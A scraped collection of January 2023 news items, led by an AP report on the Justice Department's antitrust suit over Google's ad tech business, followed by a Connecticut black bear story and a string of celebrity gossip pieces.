The government alleged in the complaint that Google is looking to neutralize or eliminate rivals in the online ad marketplace through acquisitions and to force advertisers to use its products by making it difficult to use competitors offerings. Its part of a new, if slow and halting, push by the U.S. to rein in big tech companies that have enjoyed largely unbridled growth in the past decade and a half.

Monopolies threaten the free and fair markets upon which our economy is based. They stifle innovation, they hurt producers and workers, and they increase costs for consumers, Attorney General Merrick Garland said at a news conference Tuesday.

For 15 years, Garland said, Google has pursued a course of anti-competitive conduct that has stalled the rise of rival technologies and manipulated the mechanics of online ad auctions to force advertisers and publishers to use its tools. In so doing, he added, Google engaged in exclusionary conduct that has severely weakened, if not destroyed, competition in the ad tech industry.

The suit, the latest legal action brought by the government against Google, accuses the company of unlawfully monopolizing the way ads are served online by excluding competitors. Googles ad manager lets large publishers who have significant direct sales manage their advertisements. The ad exchange, meanwhile, is a real-time marketplace to buy and sell online display ads.

Garland said Google controls the technology used by most major website publishers to offer advertising space for sale, as well as the largest ad exchange that matches publishers and advertisers together when ad space is sold. The result, he added, is that website creators earn less and advertisers pay more.

The lawsuit, filed in federal court in Alexandria, Virginia, demands that Google divest itself of the businesses of controlling the technical tools that manage the buying, selling and auctioning of digital display advertising, remaining with search  its core business  and other products and services including YouTube, Gmail and cloud services.

Alphabet Inc., Googles parent company, said in a statement that the suit doubles down on a flawed argument that would slow innovation, raise advertising fees, and make it harder for thousands of small businesses and publishers to grow. Digital ads currently account for about 80% of Googles revenue, and by and large support its other, less lucrative endeavors.

Tuesdays lawsuit comes as the U.S. government is increasingly looking to rein in Big Techs dominance, although such legal action can take years to complete and Congress has not passed any recent legislation seeking to curb the influence of the tech industrys largest players.

The European Union has been more active. It launched an antitrust investigation into Googles digital ad dominance in 2021. British and European regulators are also looking into whether an agreement for online display advertising services between Google and Meta breached rules on fair competition.

An internet services trade group that includes Google as a member described the lawsuit and its radical structural remedies as unjustified.

Matt Schruers, president of the Computer & Communications Industry Association, said competition for advertising is fierce and the governments contention that digital ads arent in competition with print, broadcast, and outdoor advertising defies reason.

Dina Srinivasan, a Yale University fellow and adtech expert, said the lawsuit is huge because it aligns the entire nation  state and federal governments  in a bipartisan legal offensive against Google. In December 2020, 16 states and Puerto Rico sued Google over the exact same issues.

The current online ad market, Srinivasan said, is broken and totally inefficient. The fact that intermediaries are getting 30% to 50% of the take on each ad trade is an insane inefficiency to have baked into the U.S. economy. She called it a massive tax on the free internet and consumers at large. It directly affects the viability of a free press as well.

As with many highly complex technical markets, it has taken time for federal and state regulators and policymakers to catch up with and understand the online ad market. Srinivasan noted that it took a decade before they woke up to the perils of high-speed trading in financial markets and began adopting measures to discourage it.

This lawsuit seeks to apply to the digital ad market the same rules that apply to the financial markets, she said. Brokers, banks and other companies that have sometimes competing interests arent permitted to own the New York Stock Exchange.

Google held nearly 29% of the U.S. digital advertising market  it includes all the ads people see on computers. phones, tablets and other internet-connected devices  in 2022, according to research firm Insider Intelligence. Facebook parent company Meta is second, with nearly 20% of the market. Amazon is a distant, but growing, third.

But thats not the lawsuits concern. It is focused on the technical market mechanisms that Google controls, including the ad server it developed building on the 2008 purchase of market-dominating DoubleClick. DOJ says Google has a more than 90% share of the business that serves ads to websites and controls about 80% of the buy-side Google Ads network where advertisers compete to place ads.

Google, the lawsuit states, has over the past 15 years used acquisitions and market power across adjacent ad tech markets to quash the rise of rivals, tighten its control over the manner and means through which digital advertising transactions occur, and prevent publishers and advertisers from working effectively with Googles rivals.

This is the latest legal action taken against Google by either the Justice Department or local state governments. In October 2020, for instance, the Trump administration and 11 state attorneys general sued Google for violating antitrust laws, alleging anticompetitive practices in the search and search advertising markets.

Asked why the Justice Department would bring the suit when a similar complaint has already been filed by states, Assistant Attorney General Jonathan Kanter, the departments top antitrust official, said, We conducted our own investigation, and that investigation occurred over many years.

The states taking part in Tuesdays suit include California, Virginia, Connecticut, Colorado, New Jersey, New York, Rhode Island and Tennessee.

___

AP Technology Writer Ortutay reported from San Francisco and Bajak from Boston. AP Technology Writer Matt OBrien contributed to this report.

___

This story was first published on January 25, 2023. It was updated on January 25, 2023 to correct the number of states involved in a 2020 lawsuit. It was 16, not 35.
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The former Governor of California has reportedly secured a deal with major publisher to pen a brand new book about guides to finding inspiration in life.

Jan 24, 2023

AceShowbiz - Arnold Schwarzenegger has allegedly inked a deal to write a new "motivational" book. After previously opening up about his years in the spotlight in a 2012 memoir titled "Total Recall: My Unbelievably True Life Story", the 75-year-old Hollywood action man is now, according to New York Post column PageSix, putting pen to paper again to produce a new tome after landing a contract with Penguin Press.

The book won't be an autobiography and will instead fall into the "motivational" category with bosses at Penguin reportedly looking for a co-writer to help bring the project to life," the publication reports.

Besides lifting the lid on his life in Hollywood and in politics as the Governor of California, Arnold has also written a series of books about bodybuilding after starting his career in the field. His works include "Arnold's Bodybuilding for Men", "Arnold: Education of a Body Builder", and "The New Encyclopedia of Modern Bodybuilding".

At the end of last year, "The Terminator" star wrote a newsletter to fans in which he set out a series of methods to help them keep their resolutions for 2023. In the missive, Arnold urged others to use positive thinking and ditch negativity that could be holding them back.

He wrote, "Do you think I'm more likely to follow through with change it I start out saying 'Arnold, you look like a pig, you look like garbage, it's time to fix it' or 'Arnold, studies show that people in better shape lead longer lives with less health problems, so losing a few pounds means more time to be here hanging out with the people you love?' "

"Negativity freezes you - it makes you depressed about where you are instead of excited about where you can go. Lose the negativity (unless you are one of the small percentage where negativity actually fuels you)."

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The '30 Rock' actor fires back after a lot of his Instagram followers criticized the caption he added to a picture of wife Hilaria Baldwin and their son.

Jan 24, 2023

AceShowbiz - Alec Baldwin has reacted to criticism over a caption on a photo of his wife Hilaria Baldwin and their son that fans branded "sexually suggestive." The 64 year old posted his first Instagram post - since it was announced he faces an involuntary manslaughter charge over the fatal shooting on the set of "Rust" - alongside an image of Leo, six, giving Hilaria a back rub, "The old 'let me give you a back rub' ploy."

The caption was quickly attacked by fans with one calling it "pretty f****** weird" and another saying it was "disgusting" while another critic said, "SexuaIizing children is always so weird but your own child? Yikes."

Alec later added the phrase to the caption, "Potato chips to follow," in an apparent reference to how Leo's back rub was going to earn him crisps. He also said on Sunday, January 22, 2023 in the comments section alongside the photo, "I adjusted the text. I guess because...you know...there is so much of that Reddit trash out there."

The "30 Rock" actor and Hilaria, 39, who have seven children together, have been targeted by theories on Reddit that she never carries their children when she is pregnant and, in August 2022, she defended herself against online rumours her baby bump was fake.

It was last week announced Alec is facing an involuntary manslaughter charge over the fatal shooting of "Rust" cinematographer Halyna Hutchins, 41, on the New Mexico set of the western in October 2021.

Santa Fe District Attorney Mary Carmack-Altwies said in a statement last week the film's armorer Hannah Gutierrez Reed will also face the same charge, which carries a maximum sentence of 18 months in jail. She said, "On my watch, no one is above the law, and everyone deserves justice."

An attorney for Alec called the charge against his client "a terrible miscarriage of justice" and added, "Mr Baldwin had no reason to believe there was a live bullet in the gun - or anywhere on the movie set. He relied on the professionals with whom he worked, who assured him the gun did not have live rounds. We will fight these charges, and we will win."

Alec has repeatedly denied any wrongdoing over the shooting and insisted he had been handed a "cold" gun - meaning it was unloaded and safe. The actor previously insisted he did not pull the trigger when Halyna was shot, but the FBI tested the weapon and later issued a report which concluded it would not have fired if someone hadn't pulled the trigger.

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The film about the raging conflict between Ukraine and Russia is co-directed by the 'Milk' actor and will be premiered at the upcoming film festival in Germany.

Jan 24, 2023

AceShowbiz - Sean Penn's documentary about the war in Ukraine is scheduled to premiere at the Berlin Film Festival in February. The Oscar-winning actor shot the upcoming documentary in Ukraine at the start of the Russian invasion in February 2022.

"This is a documentary film done under very difficult circumstances, but it is also a film that tells the role of art and artists in difficult times," said Carlo Chatrian, the artistic director of the festival.

The new documentary is called "Superpower" and Sean, 62, has co-directed the project alongside Aaron Kaufman. The film will feature footage of Sean talking to Volodymyr Zelenskyy, the Ukrainian president. The Hollywood star is also filmed in Kyiv, the capital city, at the start of the invasion.

Meanwhile, in 2022, Sean confessed to being startled by what he witnessed on the border between Poland and Ukraine. In a TV interview, the actor shared his experience of the refugee crisis that was taking place in eastern Europe, following Russia's invasion.

He said at the time, "We had the luxury of being able to abandon a rented vehicle on the side of the road. This was a startling thing to me; it was mostly women and children, some in groups and some just a mother and her child, in almost all of those cars. In some cases, the father was dropping them off and returning, because we know that from 18 to 60, men are not to leave, they're to stay in the resistance against Russia."

Sean was also astonished by the scale of the refugee crisis. He recalled, "I didn't see any luggage. It was as though they wanted to believe they're going to be able to come back, and there was an immediacy to leave because of the incredible amount of people leaving and how long it takes to get out of the country now."

"So, the car is pretty much - aside from those who have family or friends that could help on the other side - all they have. So, in the several miles that we walked after abandoning our car, I didn't see one of those cars move a car length because that line was so slow. And then you get there and you see all those who have walked as well in that crowd."

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The man who was once married to the 'Hunchback of Notre Dame' actress demands an inquiry into the whereabouts of her fortune following her recent passing.

Jan 24, 2023

AceShowbiz - Gina Lollobrigida's former husband asked for "an investigation" to be launched into the whereabouts of her assets. The Italian film star passed away last week at the age of 95 and Francisco Javier Rigau y Rafols - who married the actress by proxy in 2010, with Gina claiming he had wed an imposter without her knowledge - has claimed some of her wealth has disappeared.

"I won't inherit anything, but there should be an investigation into Gina's assets because her patrimony has disappeared. As far as I am concerned, the investigations have already been carried out in depth," he told an Italian television station.

According to the Times newspaper, assets that should form part of Gina's estate include a villa on the Appian Way, an apartment in Rome, a shop in northern Tuscany, a one-bedroom flat in Montecarlo, a collection of jewels, and antique furniture and paintings.

Rigau - who was acquitted of fraud in 2017 in relation to the false marriage claims - was criticised by Gina's long-term friend Adriano Aragozzini, who claimed they "quarrelled immediately" when he went to pay his respects at the clinic where the "Hunchback of Notre Dame" star died.

He said, "We quarrelled immediately, at a time which should have been of respect and silence, because he said to me, with a certain aggressiveness, 'You must keep away from this woman, because she has been robbed.' Inexplicable. Incredible."

Antonio Ingroia, Gina's lawyer, commented, "The feeling is that most of the people who will come to her funeral on Thursday will do so more out of personal interest than affection for Gina Lollobrigida."

The lawyer praised his late client's secretary and companion Andrea Piazzola, 34, for his genuine attachment to the actress. However, Andrea has been accused of taking advantage of Gina's mental confusion and prosecutors have accused him of embezzling 3 million between 2013 and 2018.

In 2021, the Supreme Court of Cassation ruled a legal guardian should be appointed to look after the "Solomon and Sheba" star's wealth following a request from her only child, Milko Skofic Jr., due to the actress' state of "vulnerability."

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The black bear population in Connecticut has gotten so large and aggressive, particularly in Litchfield and northwest Hartford counties, that one state legislator has proposed a bear-hunting lottery system.

State Rep. Karen Reddington-Hughes, R-Woodbury, has introduced the lottery bill, which would be overseen by the Department of Energy and Environmental Protection. Other proposals have been made in past sessions to allow bear hunting, but have not been successful.

As far as the limiting of numbers, this is not to eradicate black bears or to throw them into extinction, she said of the lottery bill. This is a public safety issue.

Reddington-Hughes said a similar proposal was made in 2015.

A North American black bear.

While there have been no fatal attacks in the state, a 10-year-old boy in Morris was attacked by a bear in October. Reddington-Hughes said the boys mother said he was traumatized after suffering bites on his leg and claw marks on his back.

Though his grandfather helped him get free of the bear, the animal returned for him, Reddington-Hughes said. A neighbor helped free the boy. The bear, which tested negative for rabies, was euthanized.

The attack on the 10-year-old was, I think, a disturbing illustration of what happens when we do nothing, she said. It was years of not doing anything, and that is basically the unintended consequence of that.

In West Hartford last summer, a resident walked into his kitchen and got what he said was the shock of his life. An adult black bear was helping himself to some marshmallows and crackers left out on the kitchen counter.

The man grabbed a chair to put between him and the animal. He eventually got the bear out through the front door by screaming  after the bear ate an entire bag of marshmallows. But what happened next was even more alarming for the resident: The bear came back the next day and ripped a screen trying to get inside.

Also last summer, a bear caught breaking into multiple homes in Canton was euthanized by DEEP. For more than a week, Canton neighbors said the mama bear with four cubs entered home after home, even making multiple break-ins into the same homes.

Traditional advice to scare bears away no longer work, Reddington-Hughes said. Theyre no longer afraid of human beings. It used to be that people would say, well, make loud noises, clanging pots, do something to distract them and they will leave and that is no longer the case.

Now she said, people put out bird seed and other food for bears and take videos of them in their yards. Efforts to reduce those practices have not worked, she said.

Reddington-Hughes said there were 2,000 insurance claims in 2021 for damage from bears.

There are 1,000 to 1,200 black bears in Connecticut, according to Jenny Dickson, director of DEEPs Wildlife Division.

But we know that our cub success rate is very high, she said. So a lot of cubs are surviving to adulthood. Our female reproductive rate is very high. So theyre eating well. Theyre getting a lot of good food. The cubs are surviving that first year pretty effectively. And that means the population grows pretty quickly.

DEEP takes the position that it would welcome a limited bear hunt in the state. Commissioner Katie Dykes repeated the stance during her re-nomination hearing last week.

Certainly there are a number of different ways to go about a bear hunt proposal, Dickson said. A lottery is one of them. In general, that system can work well depending on the structure you put in place around it.  Its one option for how you could do that, absolutely.

I think whats really concerning most of us right now are the numbers of human conflicts because thats a number that has been steadily increasing over the last seven years, Dickson said. And probably most alarming is the number of home entries weve had.

In 2022, there were nearly 70 home entries, and thats just an amazing number, she said. When you think that a few years ago, I thought we were at a high and we had a little over 40.

The problem, Dickson said, is were seeing a number of bears that are getting really comfortable around homes and around people. They dont think twice about that fear that theyd normally would have for people.  Theyre moving on from the typical garbage cans and bird feeders to finding enticing smell coming from a house and then actually figuring out how to get into the house.

Once in the house, Theyve gotten into refrigerators. Theyve ripped kitchens apart. Theyve walked through houses. You name it, theyve done it, she said.

While bears are most populous in Litchfield and Hartford counties, they have been seen all over the state, Dickson said.

Where it becomes more challenging is in some of the places where bears have been getting those free meals for a long time, because now theyve essentially become trained that people equals food equals a good place to be and thats when things get dangerous, she said.

One tactic DEEP uses is to trap the bears in large live traps, as big as culverts you put under your driveway or under a roadway, then scare them a lot, Dickson said.

And then we let them go and usually they run pretty fast when we open the door, she said.

Ed Stannard can be reached at estannard@courant.com.
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The 45-year-old rapper is seen bringing her oldest daughter, whom he shares with ex-wife Kim Kardashian, to a dinner date with his new wife following their secret wedding earlier this month.

Jan 24, 2023

AceShowbiz - Meeting the new step-mom. Kanye West apparently attempted to create a bonding time for his new wife Bianca Censori and his eldest child, North West. The 45-year-old rapper was seen bringing his daughter to a dinner date with his new wife on Sunday evening, January 22.

In some pictures obtained by Daily Mail, Ye was seen arriving at Nobu Malibu with the Yeezy architectural designer. Shortly after, North was photographed being dropped off with a friend by her security team.

For the outing, the 9-year-old wore a pair of ripped black pants and a black hoodie. She completed her look by styling her hair in long braids, colored pink and white.

As for Ye, the "Donda" artist donned an army green puffer jacket, black cargo pants and boots. The star, who appeared to wear his wedding ring during the outing, also covered his mouth and nose with a black bandana.

Bianca, meanwhile, sported an oversized leather jacket over a pair of black tights. She paired the look with a maroon purse slung across her chest and over-the-knee heeled boots that were covered in white fur. As for her blonde short hair, she had it slicked back for the dinner date.

While this might be the first time for North to meet Bianca after her father tied the knot with the Yeezy employee, the recent outing was most likely not the first time for them to meet each other. A previous report claimed that Ye's four kids, whom he shares with ex-wife Kim Kardashian, "may have met her while she was working with Kanye, as she was at several work-related events that Kim was also at."

Reports that the "Gold Digger" hitmaker and Bianca had a non-legal marriage ceremony in Beverly Hills emerged online on January 13. The new couple allegedly went to Utah for honeymoon.

While Kim allegedly "doesn't care" about the wedding, her family was reportedly "confused and concerned" by the sudden move. "The family isn't taking this as a marriage yet," a source previously shared. "They don't know what it is. They aren't sure if it is a PR stunt. They are waiting to see if he files for papers. They are nervous because if it's real, she would be in the children's life."

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Following intense backlash, the 'Maze Runner' actor's girlfriend admits in her apology note that she's 'mortified and ashamed' of her old inappropriate social media posts.

Jan 24, 2023

AceShowbiz - Dylan O'Brien's girlfriend Rachael Lange is showing remorse after her old inappropriate social media posts resurfaced. The SKIMS model has issued an apology for her anti-Taylor Swift, racist and pedophilic tweets.

On Monday, January 23, the girlfriend of "The Maze Runner" actor posted her apology note on Twitter, saying she was "mortified and ashamed" of her old posts. "I would like to wholeheartedly apologize for past tweets of mine. I am mortified and ashamed that they exist; and am truly disgusted that I ever spoke that way," she stated, "All I can say is that I hear you all and am sorry for the pain I've caused and contributed to."

"I want to make it abundantly clear that I take full responsibility," Rachael continued. The model of Elite Model Management NYC added, "I was extremely ignorant and while I do not remotely resonate with the things I once said, there is zero justification for my ever having said them." Concluding her message, she wrote, "I understand the significance that my words have and am deeply sorry for the hurt I have caused."

Rachael Lange issued an apology after facing intense backlash over resurfaced racist and anti-Taylor Swift tweets.

Rachael sparked outrage on the Internet after Dylan appeared to confirm their relationship by holding her hand in public while attending an event during Paris Fashion Week. After her name made headlines, fans were quick to take a look at her social media profiles, including her Twitter.

Fans then found some of Rachael's inappropriate old tweets. In 2013, Rachael wrote, "I hate Taylor swift." Then in 2016, she tweeted, "Never date a girl that plays ANY Taylor swift," and, "Taylor swift is a w****e."

Aside from her anti-Taylor tweets, fans noticed some of Rachael's racist, homo/transphobic and pedophilic posts. She often used the word "n***a" in her tweets and in September 2013, she wrote, "I'm literally such a pedophile oh my gosh." In a separate post, she even confessed, "I have various pictures of small black children on my phone."

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The 'RuPaul's Drag Race' judge insists that the 'Crazy in Love' hitmaker loves the LGBTQ+ community and claims everyone would do the same if they're offered a huge paycheck.

Jan 24, 2023

AceShowbiz - Beyonce Knowles has divided her fans following her private show in Dubai. While many were raving over her performance, some people criticized her for performing in a country, United Arab Emirates, with horrible anti-LGBTQIA+ laws.

Ts Madison is one of those who have come to Bey's defense. Speaking to TMZ virtually as a member of that group herself, the reality TV personality jokingly said, "Who mad at Beyonce? Who?" while rolling her sleeves as if she's ready to fight.

"Listen, we were talking about it this morning in our other meeting," one of the interviewers told Ts. "There are a lot of fans who just feel like she- the word that was used was that 'she sold out.' That's the phrase people are using. What is your take on this, and the LGBTQ community, do they have a right to be upset with her?"

The LGBTQ activist said in response, "Beyonce is a superstar. People go to Dubai for many different reasons, and a lot of LGBTQIA people go to Dubai for a lot of those reasons." She added, "You know, Beyonce went there for some of those same reasons. She went there to make her money."

The trans actress insisted that Beyonce has always supported the community. "Everybody that loves Beyonce and everybody that knows Beyonce knows that Beyonce loves the community," she claimed. "And not just loves the community. She dedicated an entire album which is, like, the album of the year to her fans, to the people that she loved. So, I personally saw it as: she went and got her bag."

The interviewer then retorted, "But that does sound like it's kind of the definition of selling out," to which Ts responded, "I wouldn't say she sold out because she loves her fans." She went on claiming that people would do the same if they're offered a huge paycheck, "But tell me, I wanna ask any one of those folks over there if there were given $24 million- I heard it was $35 million. That's what I heard."

"Any one of those girls would put on their wig, hair, makeup, lashes," the 45-year-old continued. "And run right over there to the Atlantis Hotel and gather their 35 million dollars and come right on back home. It's still the same love for her fans. I'm not mad at her getting her money. She didn't wave anti-LGBTQ flags, you know? She put on a concert, she got her money, and these were her fans."

And Ts believes that the controversy wouldn't hurt Beyonce's reputation, because she's known for her works for the community. Ts pointed out that the R&B diva dedicated her latest album "Renaissance" to the group and her gay uncle.

Ts doubled down on her opinion on her Instagram post. Sharing a video of her interview, she wrote in the caption on Monday, January 23, "Listen some of y'all in the LBGTQ need to stop it!! @beyonce went and Gathered her bag just like some of y'all do when you fly over there and 'vacation' or 'work'. Girl bye these were my thoughts and I spoke from MY PERSPECTIVE not the entire Community MY PERSPECTIVE."

Beyonce performed at the Atlantis The Royal hotel's opening on Saturday, local time. She brought along her daughter Blue Ivy Carter onstage to perform their collaboration "Brown Skin Girl" and belted out a cover of Etta James' "At Last" before delivering rendition of some of her hits, including "Beautiful Liar", "Halo" and "Crazy in Love". It marked her first live show in almost five years.

While Ts defended Bey, "RuPaul's Drag Race" star Kitty Scott-Claus threw shade at the "If I Were a Boy" hitmaker as tweeting, "Hi I have a question.. can someone explain why everyone was cancelling David Beckham the other month but now celebrating Beyonce for performing in Dubai? One rule for one and one for another?"

LGB Alliance co-founder Bev Jackson said the British advocacy group was deeply "disappointed" by the concert. Inside Hook Managing Editor Bonnie Stiernberg tweeted, "idk, if I already had $500 million, I don't think an additional $35 million would be enough money for me to go perform the album I dedicated to my gay uncle in a country where being gay is still punishable by death."

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In his final social media post, the New Jersey native model, who previously worked for Perry Ellis and Superdry, shared BTS photo of a photo shoot with Tommy Hilfiger.

Jan 24, 2023

AceShowbiz - Model Jeremy Ruehlemann has left the fashion industry reeling. The New Jersey native passed away at the age of 27, only a few days after he had a photo shoot. News of his death was broken by his friend, designer Christian Siriano.

On Sunday, January 22, Christian turned to his Instagram page to share photos of them as well as Jeremy's modeling moments. In the heartfelt caption, the fashion designer wrote, "I have never posted anything like this but to lose a friend who was such a beautiful soul is just really hard."

"This is for Jeremy, the most beautiful man that gave so much love to everyone he met no matter what. He was one of my muses and he always will be," Christian continued. He went on to note that Jeremy "inspired" him, adding that he "will love him forever."

"I'm sending all my love to his family and friends who lost someone so special. I know we will meet again one day but right now I just want to hug him," Christian penned. He concluded his grieving post as writing, "Rest well J we all love you so much! Send love to his family today please."

Celebrity makeup artist Hung Vanngo also mourned Jeremy's death. Hung wrote alongside two images of the late model that he's "Heartbroken by the news of my dear friend @Ruehlemann's passing." He added, "He made such a large impact on everyone he met. He was one of those people that even if you met him once he would have a part of your heart forever. My Team and I love and cherish the time we had working with him. A true friend, you will be loved and remembered forever. RIP Jeremy [broken heart emoji]."

Stylist Luis Rodriguez also posted snapshots that he had just taken of Jeremy over the weekend. In the caption, Luis saluted him as "A FAB model and sweet man."

In his final Instagram post, Jeremy shared a behind-the-scenes snap of a photo shoot with Tommy Hilfiger. "bts with Tommy," he captioned a shirtless image with a clothing rack in the background. In the comment section, Tommy's younger brother Andy Hilfiger wrote, "So sorry [folded hands emojis]."

Jeremy's cause of death has not been made public. Throughout his career, Jeremy modeled for Perry Ellis and Superdry and appeared in magazines like GQ and Playhaus.

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Previously, it's reported that Miley's upcoming album 'Endless Summer Vacation' will feature the likes of SZA, Billie Eilish, Harry Styles, Zayn Malik and Rosalia.

Jan 24, 2023

AceShowbiz - Miley Cyrus and Camila Cabello may soon release a collaboration. If a new report is to be believed, the "Flowers" hitmaker and the "Havana" songstress are currently working on their collaboration together.

On Monday, January 23, multiple sources claimed that the collaboration song will be included on Miley's upcoming album "Endless Summer Vacation". It's also reported that the song is already "in its final stages."

Prior to this, it's rumored that "Endless Summer Vacation" will feature the likes of SZA, Billie Eilish, Harry Styles, Zayn Malik and Rosalia. It's also said that a track featuring Zayn is titled "Hold Me Back", while "Before I Go" will feature SZA.

Miley reportedly will be joined by Billie on "If You Dare", with Harry allegedly joining her on "Hell Five". Rosalia, in the meantime, will likely join the "Party in the U.S.A." hitmaker on a single titled "Let's Ride".

More recently, Miley released "Flowers", the lead track of her upcoming album, and its music video. Miley dropped her new music on Liam Hemsworth's birthday on January 13 and fans believed that she did that intentionally to diss her ex-husband.

As for the visual, it sees Miley enjoying herself while belting out the lyrics, "I can buy myself flowers/ Write my name in the sand/ Talk to myself for hours/ Yeah, some things you don't understand." She continues, "But I can take myself dancing, yeah/ I can hold my own hand/ Yeah, I can love me better than you can."

Fans were also convinced that Miley replicated a dance she did at an event she attended with "The Hunger Games" actor in the music video. In addition to that, it's reported that the house where the video for the new track was filmed "was used as a motel by Liam Hemsworth and over 14 other women while he was married to Miley."

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A transgender group called Trans Cultural Mindfulness Alliance previously condemned the 1968 hit and asked the song to be removed from Spotify and Apple Music.

Jan 24, 2023

AceShowbiz - Transgender activist group has addressed the statement condemning Aretha Franklin's hit 1968 hit "(You Make Me Feel Like) A Natural Woman". After calling the song "offensive," the group which was called Trans Cultural Mindfulness Alliance revealed that the criticism was just a satire.

In a Twitter direct message to The Post on Monday afternoon, January 23, the alleged-Norway based LGBTQ rights group explained, "This is satirical." The account additionally changed its bio information sometime Monday afternoon to read, "PARODY/SATIRE: Founded January 2023 exclusively by trans individuals, promoting cultural changes to ensure the inclusivity of trans individuals."

The account sparked chatter after blasting the song in a tweet on January 20. "Aretha Franklin's 1968 song 'Natural Woman' perpetuates multiple harmful anti-trans stereotypes," the organization wrote on the blue bird app. "There is no such thing as a 'natural' woman."

The post continued to read, "The song has helped inspire acts of harm against transgender women." The account concluded the post that it "is requesting it is removed from Spotify & Apple Music."

In response to the tweet, some Twitter users were outraged. Defending the Queen of Soul's work, "So, someone heard the song and attacked trans people?" one person wrote in response, adding, "What are things that never happened for $400."

Another fan said, "OMG Get a life & stop trying to cancel everything. How sad and pathetic one's life must be if THIS is a priority to you. This is a GREAT song! YOU GO, GIRL! @ArethaFranklin." Someone else added, "It's a great song and I'm going to listen to it right now because of this post. Thanks!"

Some others, meanwhile, assumed that it was a parody account. "Clearly this is a parody. Good one guys! Almost got me," one person wrote. However, the organization clarified in a follow-up tweet that they were not, in fact, a parody account. Instead, they were trying to "make culture more fair for transgender individuals."

Aretha's hit track is deemed a powerful song as it had an inspiring message. She even performed the song in front of then-President Barack Obama at the Kennedy Center in Washington, D.C., in 2015, during a ceremony to honor the track's writers, Gerry Goffin and Carole King.

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According to a new report, academics, politicians and Jewish organizations are calling for the 'Donda' artist's ban from the country due to his controversial anti-Semitic remarks.

Jan 25, 2023

AceShowbiz - Kanye West may face some bumps in his plan to meet his new wife Bianca Censori's family in Australia. According to a new report, academics, politicians and Jewish organizations are calling for Ye's ban from the country due to his controversial anti-Semitic remarks.

One of those that opposed Ye's visit to Australia was Australia's Anti Defamation Commission (ADC). "Calling for violence and hate must have consequences, and Australia should not put out the welcome mat and provide a platform to a hatemonger who spews threats against the Jewish community and peddles conspiracy myths about Jewish power, greed and control," Dr. Dvir Abramovich, Chairman of the civil rights organization ADC, said in a statement to Billboard.

Abramovich added, "This kind of rhetoric is dangerous and has real-world consequences given the more than 30 million followers that this person has, and who may start believing that his demonisation of the Jewish community and that they must act."

The group's chairman went on saying, "Allowing Kanye into Australia would also send the wrong signal about our nation and violate our core values of tolerance, diversity and respect. At a time of rising antisemitism in Australia and increasing vilification, his presence in the country, revolting anti-Jewish propaganda and incitement, and abhorrent rhetoric poses a significant risk to the Jewish community."

"On the basis of his record of demonization of the Jewish people ('death con 3 on JEWISH PEOPLE') we urge Minister Giles to use his powers under section 501 of The Migration Act and refuse Kanye entry," Abramovich continued.

Australian Jewish Association (AJA) also issued an open letter on the subject on Sunday, January 22, calling on Andrew Giles, Australian Minister for Immigration, Citizenship and Multicultural Affairs, to block the Yeezy designer to obtain a visa amid reports that he and Bianca are set to traveling to the country.

"Antisemitism is at elevated levels in Australia, part of a worldwide trend. Multiple recent antisemitic incidents across Australia have specifically referenced Kanye West, including graffiti in Melbourne and leaflets in Brisbane," the letter read. "The Australian Jewish Association fears that a visit by Kanye West is likely to inflame the tense situation and even risks causing violence."

Previous report claimed that Ye and the Yeezy architectural designer are expected to fly to Melbourne, Australia "to meet her family." It was also said that the newlyweds will "spend time in Ivanhoe, east of the CBD, where Censori grew up."

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The former Disney actress defends herself for not correcting people who mispronounced her name as a child, explaining that she was told it was better that way.

Jan 24, 2023

AceShowbiz - Raven-Symone was instructed to mispronounce her name at a young age. The 37-year-old actress - who is famous for having starred in the title role Disney Channel sitcom "That's So Raven" from 2003 until 2007 - explained earlier this week that, although the second half of her double-barrelled moniker has always been pronounced publicly like Simone, it is actually "See-mon-ye" and, after receiving questions from fans, took to social media on Monday, January 23, 2023 to explain the situation.

"Yo, people out here real mad that I never said, 'Hey, my name is Raven-Symone and you're watching Disney Channel.' I didn't do that because at a very young age I was told to tell people my name was Raven-Symone and it just never left my body," she said in a video posted to TikTok.

"Except when I go to French-speaking countries. I'm like, 'Yeah, it is spelled that way and that's how it should be pronounced.' But coming here, to where I'm living, Raven-Symone is just fine."

The former "The View" host - who is five seasons into the "Raven's Home" reboot - went on to clarify that she "doesn't correct people" on the pronounciation of her name and insisted that she is "not tripping" over the technical inaccuracy.

She added, "So, yes. I don't trip over it. I don't correct people, but the correct spelling of my name is pronounced Raven-Symone, but you can call me Raven-Symone. I'm not tripping over it."

Meanwhile, Raven - whose full name is Raven-Symone Christina Pearman-Maday - recently reflected on the success of her Disney franchise and was "so happy" that fans still remember her for starring as the teenage psychic and wannabe fashion designer.

She said, "It's our 20th anniversary and it's amazing how long this franchise brand has lasted in the hearts of the community. I'm so happy for it. And the fact that 'That's so Raven' is also a sentence, is crazy to me. Now, where's my coin? Nah, Im just playing!"

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The absurdist sci-fi comedy drama, which is fronted by Michelle Yeoh, has collected a total of 11 coveted nominations at the upcoming 95th annual Academy Awards.

Jan 24, 2023

AceShowbiz - "Everything Everywhere All at Once" has led the 2023 Oscar nominations with 11 nods. The shortlists for the 95th Academy Awards were revealed on Tuesday, January 24, 2023 with the sci-fi blockbuster coming out on top placing in categories including Best Picture, Best Actress for Michelle Yeoh, and a joint nomination in the Best Director list for Daniel Kwan and Daniel Scheinert with "The Banshees of Inisherin" and "All Quiet on the Western Front" coming in with nine nods each.

Landing a Best Actor nomination for his portrayal of Elvis Presley in "Elvis", Austin Butler will go up against Colin Farrell ("The Banshees of Inisherin"), Brendan Fraser ("The Whale"), Paul Mescal ("Aftersun"), and Bill Nighy ("Living").

Farrell's "The Banshees of Inisherin" co-stars Brendan Gleeson and Barry Keoghan are both up for Best Supporting Actor for their roles in the film and they will face competition from Brian Tyree Henry ("Causeway"), Judd Hirsch ("The Fabelmans"), and Ke Huy Quan ("Everything Everywhere All at Once").

Another "Banshees" star Kerry Condon is nominated in the Best Supporting Actress category alongside Angela Bassett ("Black Panther: Wakanda Forever"), Hong Chau ("The Whale") with Jamie Lee Curtis facing off against her "Everything Everywhere All at Once" co-star Stephanie Hsu.

The Best Actress category is led by "Everything Everywhere All at Once" star Michelle Yeoh and she will face Cate Blanchett, who is nominated for her role in "Tar", and Ana de Armas for her role in Marilyn Monroe biopic "Blonde" as well as Andrea Riseborough ("To Leslie") and Michelle Williams ("The Fabelmans").

Daniel Kwan and Daniel Scheinert top the Best Director category for "Everything Everywhere All at Once" along with "The Banshees of Inisherin" 's Martin McDonagh. They will battle for the trophy against Steven Spielberg ("The Fabelmans"), Todd Field ("Tar"), and Ruben Ostlund ("Triangle of Sadness").

